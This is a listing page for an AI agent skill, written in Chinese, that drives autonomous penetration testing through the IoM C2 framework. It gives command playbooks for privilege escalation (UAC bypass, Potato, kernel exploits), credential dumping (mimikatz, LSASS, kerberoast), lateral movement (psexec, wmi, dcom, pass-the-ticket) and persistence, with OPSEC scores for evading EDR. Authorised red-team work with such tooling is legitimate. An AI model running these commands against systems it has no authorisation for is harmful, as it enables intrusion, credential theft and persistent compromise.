# Iom Pentest

> 通过 IoM C2 MCP 工具进行自主渗透测试。覆盖完整攻击链：态势概览、信息收集、权限提升、 凭据获取、横向移动、持久化。基于 OODA 循环驱动 — 每阶段分析结果后再决定下一步。 触发条件：用户提到 "pentest"、"提权"、"横向"、"信息收集"、"凭据"、"持久化"、 "自动化测试"、"红队"、"后渗透"、"summary"、"态势" 时使用此 skill。

- Skill: `chainreactors/iom-pentest-3` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add chainreactors/iom-pentest-3`
- Raw SKILL.md: https://api.skillmd.com/api/skills/chainreactors/iom-pentest-3/raw
- Safety review: pending (external: skill-scanner PASS, skillspector CAUTION)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: AI & ML
- Author: chainreactors (https://skillmd.com/u/chainreactors)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/chainreactors/iom-pentest-3

---


# IoM 自动化渗透测试

通过 IoM MCP 工具进行自主渗透测试。核心是 **OODA 循环** — 观察、分析、决策、行动，每个阶段根据实际环境自适应。

## 参数说明

`$ARGUMENTS` 支持**阶段关键词**和 **session ID** 的任意组合（空格分隔）：

### 阶段关键词

| 关键词 | 阶段 | 是否需要确认 | 说明 |
|--------|------|-------------|------|
| `summary` | 全局态势概览 | 否 | 俯瞰所有 session，不需要指定目标 |
| `recon` | Phase 1: 态势感知 | 否（只读操作） | 对目标 session 详细侦察 |
| `privesc` | Phase 2: 提权 | **是** | 权限提升 |
| `creds` | Phase 3: 凭据收割 | **是** | 凭据获取 |
| `lateral` | Phase 4: 横向移动 | **是** | 横向移动 |
| `persist` | Phase 5: 持久化 | **是** | 建立持久化 |
<!-- | `cleanup` | 清理痕迹 | **是** | 撤销持久化、删除临时文件、rev2self（暂未实现） | -->

### Session 目标指定

参数中**非关键词**的值视为 session ID 前缀：

| 用法 | 含义 |
|------|------|
| 不指定 session | 对**所有存活 session** 操作 |
| `4d24a3` | 仅对该 session |
| `4d24a3 bd608a` | 对这两个 session |

### 用法示例

```
/iom-pentest summary                          # 全局态势概览
/iom-pentest recon                            # 所有存活 session 批量侦察
/iom-pentest recon 4d24a3 bd608a              # 指定 session 侦察
/iom-pentest recon privesc bd608a             # 对指定 session 做侦察 + 提权
/iom-pentest creds 7a0c97                     # 对 admin session 收割凭据
/iom-pentest privesc creds lateral            # 多阶段组合（所有 session）
/iom-pentest                                  # 默认 = summary
```

## 确认机制

**关键规则：`summary` 和 `recon` 无需确认，其余阶段必须展示计划并获得确认。**

### summary / recon（无需确认）
直接执行，输出分析报告。

### privesc / creds / lateral / persist（需要确认）

执行流程：
1. 先完成 recon（如果还没做）
2. **分析环境**，列出可选的攻击路径和推荐方案
3. **展示执行计划**，向用户确认
4. 用户确认后执行
5. 验证结果，报告成功/失败
6. 如失败，**再次询问**是否尝试下一个方案

## 核心原则

1. **每步先看数据再决定下一步** — 不盲目执行，根据环境调整策略
2. **OPSEC 优先** — 先识别防护，再选择相应规避手法。详见 [reference/opsec-guide.md](reference/opsec-guide.md)
3. **失败即转向** — 某手法被拦截，标记并换路径，不重试同一技术
4. **最小动作原则** — 能用 BOF 就不用 execute_assembly，能不落盘就不写文件
5. **不擅自行动** — 除 summary/recon 外，所有操作必须用户确认
6. **OPSEC 评分规则** — 每个技术都有 OPSEC 安全评分（1-10，越高越安全）：
   - **≥ 8 分**: 安全，正常执行
   - **6-8 分**: 中等风险，在执行计划中**标注风险等级**
   - **< 6 分**: 高风险，**必须单独向用户告警**，说明风险原因和更安全的替代方案，经用户明确同意后才能执行

### OPSEC 评分参考

| 分数范围 | 风险 | 典型命令 | 处理方式 |
|---------|------|---------|---------|
| 9.0+ | 极低 | enum/recon 类, hashdump, klist | 正常执行 |
| 8.0-8.9 | 低 | BOF UAC bypass, bof-execute_assembly, elevate(Potato) | 正常执行 |
| 7.0-7.9 | 中等 | 内核漏洞(ms14/15/16), mimikatz, wmi/dcom 横向, PowerShell UAC bypass | 标注风险 |
| < 7.0 | 高 | logonpasswords (5.9) | **必须告警 + 等待确认** |

**告警示例**（OPSEC < 6 分时）：

```
⚠️ 高风险操作警告

命令: logonpasswords
OPSEC 评分: 5.9/10
风险: 直接读取 LSASS 内存，大部分 EDR 会拦截并告警

更安全的替代方案：
1. nanodump --fork --spoof-callstack (OPSEC 9.0) ← 推荐
2. hashdump (OPSEC 9.0) — 仅获取本地 hash，不触碰 LSASS
3. mimikatz (OPSEC 7.0) — 风险中等，但比 logonpasswords 灵活

是否仍要执行 logonpasswords？或选择替代方案？
```

## MCP 工具使用规范

所有操作通过 `mcp__iom__execute_command` 执行：

- **切换 session**: `use <session_id_prefix>` — 进入 implant 上下文
- **implant 命令**: 切换后直接执行 `sysinfo`, `whoami`, `ps` 等
- **client 命令**: `session`, `listener`, `pipeline list` 等不需要 session 上下文
- **task 结果**: execute_command 会自动等待并返回结果，无需手动 get_history

> 命令用法详见 MCP 工具的 help 描述。特别注意：
> - BOF 类 UAC bypass（elevatedcom/sspi/colordataproxy/registryshell）使用**位置参数**
> - Flag 类 UAC bypass（silentcleanup/editionupgrade）使用 `--command` flag
> - 详见 [reference/technique-reference.md](reference/technique-reference.md)

## 阶段总览

```
Summary: 全局态势概览                                [summary]  自动执行
    ↓ 了解全局，选择目标
Phase 1: 态势感知 → 身份、权限、环境、防护           [recon]    自动执行
    ↓ 检查点：我是谁？能做什么？面对什么防护？
Phase 2: 提权 → UAC bypass / Potato / 内核漏洞       [privesc]  需确认
    ↓ 检查点：拿到高权限了吗？
Phase 3: 凭据收割 → hash / 明文 / ticket / token     [creds]    需确认
    ↓ 检查点：拿到什么凭据？能用在哪？
Phase 4: 横向移动 → psexec / wmi / dcom / ptt        [lateral]  需确认
    ↓ 检查点：新立足点在哪？重复 Phase 1
Phase 5: 持久化 → 注册表 / 服务 / 计划任务           [persist]  需确认
    ↓ 检查点：重启后还能回来吗？
```

---

## Summary: 全局态势概览 [summary]

**无需确认，无需指定 session。** 俯瞰全局态势。

执行命令：

```
session              # 存活 session
session --all        # 全部 session（含离线）
listener             # listener 状态
pipeline list        # pipeline 状态
```

**输出要求**（结构化表格）：

### 1. 基础设施状态

列出 listener、pipeline 是否正常运行。

### 2. 主机列表（按主机分组）

将同一主机的多个 session 归为一组：

```
| 主机 | IP | 会话数 | 最高权限 | AV | 状态 |
|------|-----|--------|---------|-----|------|
```

### 3. 会话明细

```
| ID | 主机 | 用户 | 权限 | 进程/PID | 心跳 | 状态 |
|----|------|------|------|---------|------|------|
```

标注：
- `★` = admin/高权限
- `⚠` = 心跳超时（可能失联）
- 同一主机的冗余低权限 session 标灰

### 4. 网络拓扑分析

基于 IP 地址分析子网关系、可能的宿主/VM 关系。

### 5. 建议下一步

基于当前态势给出优先行动建议：
- 哪些 session 需要提权
- 哪些主机值得深入
- 哪些冗余 session 可以忽略
- 推荐的攻击路径

---

## Phase 1: 态势感知 [recon]

**无需确认，直接执行。支持批量 session。**

### 单 session 执行

```
use <session_id>
sysinfo
whoami
privs
shell whoami /groups
ps
enum av
ipconfig
systeminfo
enum software
netstat
```

### 批量 session 执行

对每个目标 session 依次执行上述命令，最后输出**对比分析报告**：

```
## 批量侦察报告（N sessions）

### 对比矩阵
| 维度 | session1 (host1) | session2 (host2) | ... |
|------|------------------|------------------|-----|
| 权限 | High ★ | Medium | ... |
| Admin 组 | ✅ | ✅ | ... |
| AV | 火绒 | Defender | ... |
| 域 | WORKGROUP | CONTOSO | ... |
| 子网 | 192.168.86.0/24 | 10.0.0.0/24 | ... |
| 补丁级别 | 2020-11 | 2024-03 | ... |

### 各 session 建议
- session1: 已是 admin → 直接 creds
- session2: Medium + Admin 组 → privesc 可行，注意 Defender
- session3: 同主机低权限 → 可忽略（session1 已够用）
```

### 检查点

| 维度 | 关键问题 | 决策影响 |
|------|---------|---------|
| 权限 | Medium 还是 High？有 `*` 标记吗？ | Medium → Phase 2 提权；High → 跳到 Phase 3 |
| 管理员组 | `BUILTIN\Administrators` 在 groups 里吗？ | 在 → UAC bypass 可行；不在 → 需要其他提权路径 |
| 完整性级别 | `Mandatory Label` 是什么级别？ | Medium → UAC bypass；Low → 需要内核漏洞 |
| AV/EDR | 跑了什么安全产品？ | 决定执行方式选择，详见 [reference/opsec-guide.md](reference/opsec-guide.md) |
| 域环境 | WORKGROUP 还是域？ | 域 → Phase 4 有更多横向路径 |
| 补丁级别 | 最后安装的 KB 是什么时候的？ | 老补丁 → 内核漏洞可用 |
| 网络位置 | 内网段是什么？能看到其他机器吗？ | 决定 Phase 4 横向目标 |

**recon 完成后**：输出完整分析报告和下一步建议。如果用户指定了后续阶段，则基于分析结果**展示执行计划并等待确认**。

---

## Phase 2: 提权 [privesc]

**需要用户确认后执行。仅当目标 session 为非管理员权限时有意义。**

如果指定了多个 session，逐个分析并为每个 session 分别展示提权计划。已是 admin 的自动跳过。

完整的技术参考见 [reference/technique-reference.md](reference/technique-reference.md)。

### 展示给用户的决策信息

基于 recon 结果，为每个需要提权的 session 列出：
1. 当前权限级别和完整性
2. 可用的提权路径（标注推荐、风险、OPSEC 评分）
3. AV 对每种方式的影响
4. 推荐执行顺序

### 2.1 UAC Bypass（用户在 Administrators 组 + Medium 完整性）

**优先选择**（BOF 类，低检测率，OPSEC 8.5）：

```
uac-bypass elevatedcom "C:\path\to\implant.exe"
uac-bypass sspi "C:\path\to\implant.exe"
uac-bypass colordataproxy "C:\path\to\implant.exe"
```

**备选**（需要 `--command` flag，OPSEC 8.0-8.5）：

```
uac-bypass silentcleanup --command "C:\path\to\implant.exe"
uac-bypass editionupgrade --command "C:\path\to\implant.exe"
```

**PowerShell 类**（最后手段，OPSEC 8.0，容易被拦截）：

```
uac-bypass eventvwr
uac-bypass wscript
uac-bypass envbypass
```

> implant 路径从 recon 的 `sysinfo` 获取（file 字段）。

### 2.2 Token/Potato（有 SeImpersonatePrivilege，OPSEC 8.0）

```
elevate SweetPotato
elevate EfsPotato
elevate JuicyPotato --type t --program "C:\implant.exe" --port 1337
```

### 2.3 内核漏洞（补丁级别老旧，OPSEC 7.0）

| OS 版本 | 可用漏洞 |
|---------|---------|
| Win10 1903/1909 | `elevate cve-2020-0796` |
| Win7/8.1/2008R2/2012 | `elevate ms15-051`, `elevate ms14-058` |
| Win7/Vista x86 | `elevate ms16-016` |
| 通用（旧补丁） | `elevate ms16-032` |

### 2.4 其他路径

```
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" AlwaysInstallElevated
getsystem
```

**执行后**：`session` 查看是否有新的 `*` 标记 session。成功后 `use <new_session>` 并用 `privs` 确认。失败则询问用户是否尝试下一方案。

---

## Phase 3: 凭据收割 [creds]

**需要用户确认后执行。从最高权限 session 执行。**

如果指定了多个 session，优先从 admin session 执行。非 admin session 只能获取 credman/autologon 等不需要特权的凭据。

### 展示执行计划，列出每个命令的 OPSEC 评分

```
hashdump                                          # OPSEC 9.0
logonpasswords                                    # OPSEC 5.9 ⚠️
credman                                           # OPSEC 9.0
autologon                                         # OPSEC 9.0
mimikatz privilege::debug sekurlsa::logonpasswords # OPSEC 7.0
```

如果是域环境：

```
ldapsearch --query "(&(objectClass=user)(adminCount=1))"
ldapsearch --query "(&(samAccountType=805306368)(servicePrincipalName=*))"
klist
domain kerberoast
```

**检查点**：收集到的凭据整理成表格，分析哪些可用于横向移动。

---

## Phase 4: 横向移动 [lateral]

**需要用户确认后执行。基于 Phase 3 的凭据和 Phase 1 的网络发现。**

### 4.1 网络发现（自动执行）

```
pingscan --target <local_subnet>/24
portscan --target <live_hosts> --ports 445,3389,5985,22,80,443
```

### 4.2 展示横向移动计划

基于发现的存活主机和可用凭据，列出：
- 目标主机列表
- 每个目标可用的移动方式和 OPSEC 评分
- 使用哪个凭据
- 推荐方案

等待用户确认后执行：

```
move wmi-proccreate --target <ip> --command "C:\payload.exe"   # OPSEC 7.0
move psexec --host <ip> --service MySvc --path /local/file     # OPSEC 9.0
move dcom --target <ip> --cmd "C:\payload.exe"                 # OPSEC 7.5
move krb_ptt --ticket <base64_ticket>                          # OPSEC 7.0
token make --username admin --password P@ss --domain CONTOSO   # OPSEC 9.0
```

**检查点**：`session` 确认新 session，然后对新 session **回到 Phase 1**。

---

## Phase 5: 持久化 [persist]

**需要用户确认后执行。根据权限级别选择。** 详见 [reference/technique-reference.md](reference/technique-reference.md)。

如果指定了多个 session，为每个 session 分别展示持久化方案。

### 展示给用户的持久化方案

列出可选机制、落盘位置、注册表路径、OPSEC 评分等，等待确认。

管理员：

```
persistence Registry_Key --artifact_name <name>     # OPSEC 9.0
persistence Install_Service --artifact_name <name>  # OPSEC 9.0
persistence Scheduled_Task --artifact_name <name>   # OPSEC 9.0
```

普通用户：

```
persistence startup_folder --use_malefic_as_custom_file  # OPSEC 9.0
persistence reg_key                                      # OPSEC 9.0
persistence NewLnk --artifact_name <name> --lnkname "Chrome" --filepath "C:\Users\<user>\Desktop"
```

**验证**：安装后检查对应的注册表/服务/计划任务确认生效。

---

## 输出报告

每次执行完成后，生成结构化报告：

```markdown
## 渗透测试报告
**日期**: YYYY-MM-DD HH:MM
**范围**: $ARGUMENTS
**执行阶段**: [列出实际执行的阶段]
**目标 session**: [列出操作的 session]

### 攻击路径
初始会话 → [技术] → 提权会话 → [凭据] → 横向会话

### 会话列表
| 会话 | 主机 | 用户 | 权限 | 获取方式 |
|------|------|------|------|---------|

### 获取凭据
| 类型 | 用户 | 域 | 来源 |
|------|------|-----|------|

### 使用技术
| 阶段 | MITRE ID | 技术 | OPSEC | 结果 | 备注 |
|------|----------|------|-------|------|------|

### 防御缺口
[哪些薄弱点使攻击成功]
```

## 参考文档

| 需求 | reference 文件 |
|------|---------------|
| OPSEC 策略与 AV 规避 | [reference/opsec-guide.md](reference/opsec-guide.md) |
| 提权/横移/持久化技术速查 | [reference/technique-reference.md](reference/technique-reference.md) |

$ARGUMENTS

